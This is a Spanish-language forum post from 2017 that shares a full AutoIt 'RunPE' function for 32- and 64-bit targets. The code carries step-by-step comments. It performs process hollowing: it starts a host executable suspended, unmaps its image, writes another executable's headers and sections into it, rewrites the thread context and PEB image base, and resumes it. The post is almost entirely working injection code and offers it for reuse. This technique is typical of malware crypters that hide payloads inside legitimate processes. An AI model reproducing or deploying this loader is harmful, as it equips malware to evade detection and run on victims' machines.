• Runpe de naker90 para que funcione en 32 y 64 en compilados de 32 [IDEAL PARA .NET]

 #492024  por davinciomar
 15 Jun 2017, 18:18
Runpe naker90 para que funcione en ejecutables de 32 o 64 en compilados de 32, sin inyectar en tu script.
Func Program($byFile, $szParametros, $sHost)

	;Si el modulo para el createprocess es el propio ejecutable, debemos copilar antes de usar el codigo.
	If $sHost = @ScriptFullPath Then

		If Not @Compiled Then
			MsgBox(16, 'ERROR', 'Compile el script antes de utilizarlo!')
			Return 0
		EndIf

	EndIf
	;Lo primero es crear el puntero
	Local $sFileStruct = DllStructCreate('Byte[' & BinaryLen($byFile) & ']')
	DllStructSetData($sFileStruct, 1, $byFile)

	Local $pPointer = DllStructGetPtr($sFileStruct)

	;Vamos a separar el codigo en 2 partes: 1 La cabecera y 2 La memoria. De esta forma no mezclamos las cosas.
	;------------------------------------------------------------------
	; 1.- Operaciones con la cabezera. En esta parta vamos a sacar gran parte de los datos relacionados con la cabecera que nos serviran posteriormente.
	;------------------------------------------------------------------

	;Creamos la estructura para los datos que contiene el IMAGE_DOS_STRUCT
	Local $sDOS_Struct = DllStructCreate('WORD e_magic;WORD e_cblp;WORD e_cp;WORD e_crlc;WORD e_cparhdr;WORD e_minalloc;WORD e_maxalloc;WORD e_ss;WORD e_sp;WORD e_csum;WORD e_ip;WORD e_cs;WORD e_lfarlc;WORD e_ovno;WORD e_res[4];WORD e_oemid;WORD e_oeminfo;WORD e_res2[10];WORD e_lfanew', $pPointer)

	;Si el archvo con tiene el "MZ" propio de los archivos ejecutables continuamos con el codigo, de lo contrario lanzamos un mensaje y retornamos 0
	If DllStructGetData($sDOS_Struct, 'e_magic') = 23117 Then

		;Le sumamos al puntero el valor de "PE/0x/0x"
		$pPointer += DllStructGetData($sDOS_Struct, 'e_lfanew')

		;Creamos la estructura IMAGE_NT_HEADER para poder utilizar posteriormente IMAGE_FILE_STRUCT y IMAGE_OPTIONAL_HEADER.
		Local $sNT_Struct = DllStructCreate('DWORD signature;CHAR IMAGE_FILE_HEADER[20];CHAR IMAGE_OPTIONAL_HEADER[224]', $pPointer)

		;Creamos la structura IMAGE_FILE_HEADER y le pasamos el puntero de elemento 2 de la structura IMAGE_NT_HEADER. De aqui vamos a sacar el numero de secciones.
		Local $sFile_Struct = DllStructCreate('WORD Machine;WORD NumberOfSections;DWORD TimeDateStamp;DWORD PointerToSymbolTable;DWORD NumberOfSymbols;WORD SizeOfOptionalHeader;WORD Characteristics;', DllStructGetPtr($sNT_Struct, 'IMAGE_FILE_HEADER'))
		Local $wNumberOfSection = DllStructGetData($sFile_Struct, 'NumberOfSections')

		;Ahora vamos a crear la structura del IMAGE_OPTIONAL_HEADER de la cual sacaremos los datos de: ImageBase, SizeOfImage, EntryPoint y el SizeOfHeaders.
		If @OSArch = "X86" Then
			Local $sOptional_Struct = DllStructCreate('WORD Magic;BYTE MajorLinkerVersion;BYTE MinorLinkerVersion;DWORD SizeOfCode;DWORD SizeOfInitializedData;DWORD SizeOfUninitializedData;DWORD AddressOfEntryPoint;DWORD baseofcode;DWORD BaseOfData;DWORD ImageBase;DWORD SectionAlignment;DWORD FileAlignment;WORD MajorOperatingSystemversion;WORD MinorOperatingSystemVersion;WORD MajorImageVersion;WORD MinorImageVersion;WORD majoresubsystemversion;WORD minorsubsystemversion;DWORD win32versionvalue;DWORD sizeofimage;DWORD sizeofheaders;DWORD checksum;WORD subsystem;WORD dllcharacteristics;DWORD sizeofstackreserve;DWORD sizeofstackcommit;DWORD sizeofheapcommit;DWORD loaderflags;DWORD numberofrvaandsizes;DOUBLE datadirectory[16]', DllStructGetPtr($sNT_Struct, 'IMAGE_OPTIONAL_HEADER'))
		Else
			Local $sOptional_Struct = DllStructCreate('WORD Magic;BYTE MajorLinkerVersion;BYTE MinorLinkerVersion;DWORD SizeOfCode;DWORD SizeOfInitializedData;DWORD SizeOfUninitializedData;DWORD AddressOfEntryPoint;DWORD BaseOfCode;uint64 ImageBase;DWORD SectionAlignment;DWORD FileAlignment;WORD MajorOperatingSystemVersion;WORD MinorOperatingSystemVersion;WORD MajorImageVersion;WORD MinorImageVersion;WORD MajorSubsystemVersion;WORD MinorSubsystemVersion;DWORD Win32VersionValue;DWORD SizeOfImage;DWORD SizeOfHeaders;DWORD CheckSum;WORD Subsystem;WORD DllCharacteristics;uint64 SizeOfStackReserve;uint64 SizeOfStackCommit;uint64 SizeOfHeapReserve;uint64 SizeOfHeapCommit;DWORD LoaderFlags;DWORD NumberOfRvaAndSizes', DllStructGetPtr($sNT_Struct, 'IMAGE_OPTIONAL_HEADER'))
		EndIf
		Local $dwImageBase = DllStructGetData($sOptional_Struct, 'imagebase')
		Local $dSizeOfImage = DllStructGetData($sOptional_Struct, 'sizeofimage')
		Local $dEntryPoint = DllStructGetData($sOptional_Struct, 'addressofentrypoint')
		Local $dSizeOfHeaders = DllStructGetData($sOptional_Struct, 'sizeofheaders')

		;Sumamos al puntero el tamaño del IMAGE_OPTIONAL_HEADER y 24 que es el tamaño de la IT(Import Table)
		$pPointer += (DllStructGetData($sFile_Struct, 'SizeOfOptionalHeader') + 24)

		;------------------------------------------------------------------
		; 2.- La Memoria. En esta parte vamos a realizar todas las operaciones con la memoria.
		;------------------------------------------------------------------

		;Creamos las structuras StartUpInfo y ProcessInformation que luego necesitaremos para crear el proceso.
		Local $sStartUpInfo = DllStructCreate('dword cbSize;ptr Reserved;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;dword YCountChars;dword FillAttribute;dword Flags;ushort ShowWindow;ushort Reserved2;ptr Reserved2;ptr hStdInput;ptr hStdOutput;ptr hStdError')
		Local $sProcessInfo = DllStructCreate('handle hProcess;handle hThread;dword  dwProcessId;dword  dwThreadId')

		;Lo primero es crear el proceso suspendido tirando de la API "CreateProcess". Podemos ejecutar el proceso suspendido en nuestra propia instacia o en la de otro proceso.
		Local $iCreateProcess = DllCall('Kernel32.dll', 'Bool', 'CreateProcessW', 'Wstr', $sHost, 'Wstr', $szParametros, 'Ptr', 0, 'Ptr', 0, 'Bool', False, 'Dword', 4, 'Ptr', 0, 'Ptr', 0, 'Ptr', DllStructGetPtr($sStartUpInfo), 'Ptr', DllStructGetPtr($sProcessInfo))

		;Obtenemos el valor del "hThread" y "hProcess" de la estructura ProcessInfo que nos servira luego para trabajar con la API "NtGetContextThread" y "VirtualAllocEx".
		Local $hThread = DllStructGetData($sProcessInfo, 'hThread')
		Local $hProcess = DllStructGetData($sProcessInfo, 'hProcess')

		;Limpiamos el ejecutable del proceso antes de reservar memoria, esto lo vamos a hacer con la API "NtUnmapViewOfSection"
		Local $iUnMapSection = DllCall('Ntdll.dll', 'Int', 'NtUnmapViewOfSection', 'Ptr', $hProcess, 'Ptr', $dwImageBase)

		;Obtenemos los contextos (Registros) con la estructura CONTEXT y establecemos la bandera con el valor 0x100007 (x64) - 0x10007 (x32)
		If @OSArch = "X86" Then
			Local $sContext_Struct = DllStructCreate('dword ContextFlags;dword Dr0; dword Dr1; dword Dr2; dword Dr3; dword Dr6; dword Dr7;dword ControlWord; dword StatusWord; dword TagWord; dword ErrorOffset; dword ErrorSelector; dword DataOffset; dword DataSelector; byte RegisterArea[80]; dword Cr0NpxState;dword SegGs; dword SegFs; dword SegEs; dword SegDs;dword Edi; dword Esi; dword Ebx; dword Edx; dword Ecx; dword Eax;dword Ebp; dword Eip; dword SegCs; dword EFlags; dword Esp; dword SegSs;byte ExtendedRegisters[512]')
			DllStructSetData($sContext_Struct, 1, 0x10007)

			;Obtenemos el context con la API "GetContextThread"
			Local $iGetContextThread = DllCall('Kernel32.dll', 'Int', 'GetThreadContext', 'Handle', $hThread, 'Ptr', DllStructGetPtr($sContext_Struct))

			;Reservamos memoria con VirtualAllocEx. Pata versiones x64 debemos pasar de (0x3000) MEM_COMIT y MEM_RESERVE por (0x1000) Solamente MEM_COMIT
			Local $pVirtualAlloc = DllCall('Kernel32.dll', 'Ptr', 'VirtualAllocEx', 'Handle', $hProcess, 'Ptr', $dwImageBase, 'Dword', $dSizeOfImage, 'Dword', 0x3000, 'Dword', 0x40)
		Else
			Local $sContext_Struct = DllStructCreate('align 16; uint64 P1Home; uint64 P2Home; uint64 P3Home; uint64 P4Home; uint64 P5Home; uint64 P6Home;dword ContextFlags; dword MxCsr;word SegCS; word SegDs; word SegEs; word SegFs; word SegGs; word SegSs; dword EFlags;uint64 Dr0; uint64 Dr1; uint64 Dr2; uint64 Dr3; uint64 Dr6; uint64 Dr7;uint64 Rax; uint64 Rcx; uint64 Rdx; uint64 Rbx; uint64 Rsp; uint64 Rbp; uint64 Rsi; uint64 Rdi; uint64 R8; uint64 R9; uint64 R10; uint64 R11; uint64 R12; uint64 R13; uint64 R14; uint64 R15;uint64 Rip;uint64 Header[4]; uint64 Legacy[16]; uint64 Xmm0[2]; uint64 Xmm1[2]; uint64 Xmm2[2]; uint64 Xmm3[2]; uint64 Xmm4[2]; uint64 Xmm5[2]; uint64 Xmm6[2]; uint64 Xmm7[2]; uint64 Xmm8[2]; uint64 Xmm9[2]; uint64 Xmm10[2]; uint64 Xmm11[2]; uint64 Xmm12[2]; uint64 Xmm13[2]; uint64 Xmm14[2]; uint64 Xmm15[2];uint64 VectorRegister[52]; uint64 VectorControl;uint64 DebugControl; uint64 LastBranchToRip; uint64 LastBranchFromRip; uint64 LastExceptionToRip; uint64 LastExceptionFromRip')
			DllStructSetData($sContext_Struct, 'ContextFlags', 0x100007)

			;Obtenemos el context con la API "GetContextThread"
			Local $iGetContextThread = DllCall('Kernel32.dll', 'Int', 'GetThreadContext', 'Handle', $hThread, 'Ptr', DllStructGetPtr($sContext_Struct))

			;Reservamos memoria con VirtualAllocEx. Pata versiones x64 debemos pasar de (0x3000) MEM_COMIT y MEM_RESERVE por (0x1000) Solamente MEM_COMIT
			Local $pVirtualAlloc = DllCall('Kernel32.dll', 'Ptr', 'VirtualAllocEx', 'Handle', $hProcess, 'Ptr', $dwImageBase, 'Dword', $dSizeOfImage, 'Dword', 0x1000, 'Dword', 0x40)
		EndIf

		;Escribimos en el proceso la cabecera.
		Local $iWriteProcessFirst = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $hProcess, 'Ptr', $dwImageBase, 'Ptr', DllStructGetPtr($sDOS_Struct), 'Ulong_Ptr', $dSizeOfHeaders, 'Dword', 0)

		;Escribimos las cabeceras en la memoria que acabamos de reservar.
		For $i = 1 To $wNumberOfSection

			;Creamos la estructura para las secciones. En este momento nos encontramos en la primera seccion.
			Local $sSection_Struct = DllStructCreate('char Name[8];dword UnionOfVirtualSizeAndPhysicalAddress;dword VirtualAddress;dword SizeOfRawData;dword PointerToRawData;dword PointerToRelocations;dword PointerToLinenumbers;ushort NumberOfRelocations;ushort NumberOfLinenumbers;dword Characteristics', $pPointer)

			;Obtenemos los datos de las seccion necesarios para escribirlos en memoria
			Local $dVirtualAddress = ($dwImageBase + DllStructGetData($sSection_Struct, 'VirtualAddress'))
			Local $dSizeOfRawData = DllStructGetData($sSection_Struct, 'SizeOfRawData')
			Local $dPointerToRawData = (DllStructGetPtr($sDOS_Struct) + DllStructGetData($sSection_Struct, 'PointerToRawData'))

			;Escribimos los datos con "WriteProcessMemory"
			Local $iWriteProcessSecond = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $hProcess, 'Ptr', $dVirtualAddress, 'Ptr', $dPointerToRawData, 'Ulong_Ptr', $dSizeOfRawData, 'Dword', 0)

			;Le sumamos al puntero 40 que es el valor de la estructutura IMAGE_SECTION_HEADER entera.
			$pPointer += 40

		Next

		;Modificamos el EntryPoint sumandole al actual el valor del ImageBase. Para versiones x64 cambiamos "EAX" por "RCX"
		If @OSArch = "X86" Then
			Local $dModEntryPoint = $dwImageBase + $dEntryPoint
			DllStructSetData($sContext_Struct, 'Eax', $dModEntryPoint)

			;Cambiamos el ImageBase, para la arquitectura x86 solo le sumamos 8 al "EBX". Para x64 tememos que utilizar la estructura PEB y cambiar "EBX" por "Rdx"
			;Modificamos EBX + 8 por el ImageBase del ejecutable a cargar.
			Local $dNewEBX = (DllStructGetData($sContext_Struct, 'Ebx') + 8)
			Local $iWriteVirtualMemory = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $hProcess, 'Ptr', $dNewEBX, 'Ptr*', $dwImageBase, 'Ulong_Ptr', 4, 'Dword', 0)
		Else
			Local $dModEntryPoint = $dwImageBase + $dEntryPoint
			DllStructSetData($sContext_Struct, 'Rcx', $dModEntryPoint)

			;Cambiamos el ImageBase, para la arquitectura x86 solo le sumamos 8 al "EBX". Para x64 tememos que utilizar la estructura PEB y cambiar "EBX" por "Rdx"
			;Modificamos EBX + 8 por el ImageBase del ejecutable a cargar.
			Local $sPeb_Struct = DllStructCreate('byte InheritedAddressSpace;byte ReadImageFileExecOptions;byte BeingDebugged;byte Spare;ptr Mutant;ptr ImageBaseAddress;ptr LoaderData;ptr ProcessParameters;ptr SubSystemData;ptr ProcessHeap;ptr FastPebLock;ptr FastPebLockRoutine;ptr FastPebUnlockRoutine;dword EnvironmentUpdateCount;ptr KernelCallbackTable;ptr EventLogSection;ptr EventLog;ptr FreeList;dword TlsExpansionCounter;ptr TlsBitmap;dword TlsBitmapBits[2];ptr ReadOnlySharedMemoryBase;ptr ReadOnlySharedMemoryHeap;ptr ReadOnlyStaticServerData;ptr AnsiCodePageData;ptr OemCodePageData;ptr UnicodeCaseTableData;dword NumberOfProcessors;dword NtGlobalFlag;byte Spare2[4];int64 CriticalSectionTimeout;dword HeapSegmentReserve;dword HeapSegmentCommit;dword HeapDeCommitTotalFreeThreshold;dword HeapDeCommitFreeBlockThreshold;dword NumberOfHeaps;dword MaximumNumberOfHeaps;ptr ProcessHeaps;ptr GdiSharedHandleTable;ptr ProcessStarterHelper;ptr GdiDCAttributeList;ptr LoaderLock;dword OSMajorVersion;dword OSMinorVersion;dword OSBuildNumber;dword OSPlatformId;dword ImageSubSystem;dword ImageSubSystemMajorVersion;dword ImageSubSystemMinorVersion;dword GdiHandleBuffer[34];dword PostProcessInitRoutine;dword TlsExpansionBitmap;byte TlsExpansionBitmapBits[128];dword SessionId')
			Local $iWriteProcessPEB = DllCall('Kernel32.dll', 'Int', 'ReadProcessMemory', 'Handle', $hProcess, 'Ptr', DllStructGetData($sContext_Struct, 'Rdx'), 'Ptr', DllStructGetPtr($sPeb_Struct), 'Ulong_Ptr', DllStructGetSize($sPeb_Struct), 'Dword', 0)
			DllStructSetData($sPeb_Struct, 'ImageBaseAddress', $pVirtualAlloc[0])
			Local $iWriteProcessPEB = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $hProcess, 'Ptr', DllStructGetData($sContext_Struct, 'Rdx'), 'Ptr', DllStructGetPtr($sPeb_Struct), 'Ulong_Ptr', DllStructGetSize($sPeb_Struct), 'Dword', 0)
		EndIf

		;Le asignamos al proceso los regsitros con la API "SetThreadContext" y luego arrancamos el proceso con "ResumeThread".
		Local $iSetThread = DllCall('Kernel32.dll', 'Int', 'SetThreadContext', 'Handle', $hThread, 'Ptr', DllStructGetPtr($sContext_Struct))
		Local $dResume = DllCall('Kernel32.dll', 'Dword', 'ResumeThread', 'Handle', $hThread)

	Else
		MsgBox(16, 'ERROR', 'Este archivo no es un ejecutable!')
		Return 0
	EndIf

EndFunc